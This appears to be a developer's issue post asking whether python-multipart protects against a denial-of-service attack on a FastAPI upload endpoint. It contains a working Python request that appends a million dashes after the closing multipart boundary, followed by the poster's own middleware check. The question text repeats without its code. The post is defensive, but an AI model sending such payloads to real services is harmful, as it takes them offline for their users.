Hi, I have some questions based on an issue I'm currently dealing with.
I’ve created a simple project using Uvicorn, FastAPI, and python-multipart, and I'm encountering the following type of attack that is causing my API to become unavailable:
importrequestsurl=f"http://localhost:8000/upload_files"headers= {
"Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ"
}
data= (
"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n""Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n""Content-Type: text/plain\r\n\r\n""DoS in progress\r\n""-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--"+'-'*1000000+"\r\n"
)
response=requests.post(url, headers=headers, data=data)
print(response.status_code)
print(response.text)This is how I’m handling the attack:
@app.middleware("http")asyncdefcheck_boundary(request: Request, call_next):
if"/upload_files"inrequest.url.path:
content_type=request.headers.get("Content-Type")
ifnotcontent_typeor"multipart/form-data"notincontent_typeor"boundary="notincontent_type:
returnJSONResponse(
status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
content={"detail": "Content-Type header must be 'multipart/form-data' with a boundary parameter."},
)
boundary=content_type.split("boundary=")[-1].strip()
ifnotre.match(r"^[\w\-]{1,70}$", boundary):
returnJSONResponse(
status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
content={"detail": "Invalid boundary format"},
)
body=awaitrequest.body()
boundary_start=f"--{boundary}".encode()
boundary_end=f"--{boundary}--\r\n".encode()
ifnotbody.startswith(boundary_start) ornotbody.endswith(boundary_end):
returnJSONResponse(
status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
content={"detail": "Invalid multipart formatting"},
)
response=awaitcall_next(request)
returnresponseMy question is: Does python-multipart have, or should it have, any built-in mechanisms to prevent this attack? If not, and it's expected that users handle it themselves, would my current approach be sufficient?
Hi, I have some questions based on an issue I'm currently dealing with.
I’ve created a simple project using Uvicorn, FastAPI, and python-multipart, and I'm encountering the following type of attack that is causing my API to become unavailable:
This is how I’m handling the attack:
My question is: Does python-multipart have, or should it have, any built-in mechanisms to prevent this attack? If not, and it's expected that users handle it themselves, would my current approach be sufficient?